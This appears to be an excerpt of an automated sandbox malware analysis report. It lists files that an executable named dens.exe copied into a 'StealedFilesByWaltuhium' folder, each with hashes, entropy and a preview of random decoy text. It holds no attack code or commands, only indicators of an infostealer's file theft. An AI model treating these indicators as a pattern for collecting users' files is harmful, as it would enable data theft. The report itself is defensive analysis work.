QXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
